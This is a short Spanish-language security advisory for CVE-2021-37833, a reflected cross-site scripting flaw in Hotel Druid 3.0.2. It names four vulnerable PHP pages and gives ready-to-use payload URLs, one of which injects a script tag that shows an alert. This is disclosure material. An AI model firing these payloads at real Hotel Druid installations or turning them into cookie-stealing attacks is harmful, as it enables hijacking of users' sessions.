CVE 2021-37833 Hotel Druid 3.0.2 Vulnerabilidad de Cross Site Scripting Reflejado

Existe una vulnerabilidad de Cross Site Scripting reflejado en múltiples páginas de la versión 3.0.2 de la aplicación Hotel Druid que permite la ejecución arbitraria de comandos JavaScript. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37833

Páginas PHP vulnerables:

• crea_modelli.php - parámetro cambia_frasi
• visualizza_tabelle.php - parámetro arbitrario de URL
• tabella.php - parámetro arbitrario de URL
• storia_soldi.php - parámetro arbitrario de URL

Payloads vulnerables

/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b">w5px3=1

/storia_soldi.php?piu17">e3esq=1

/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%22%3E%3Cscript%3Ealert(%27xss%20hotel%20druid%27)%3C%2fscript%3Ef9xkbujgt24&form_availability_calendar_template=1

/tabella.php?jkuh3">yql8b=1

Descubierto por Joe Helle, julio de 2021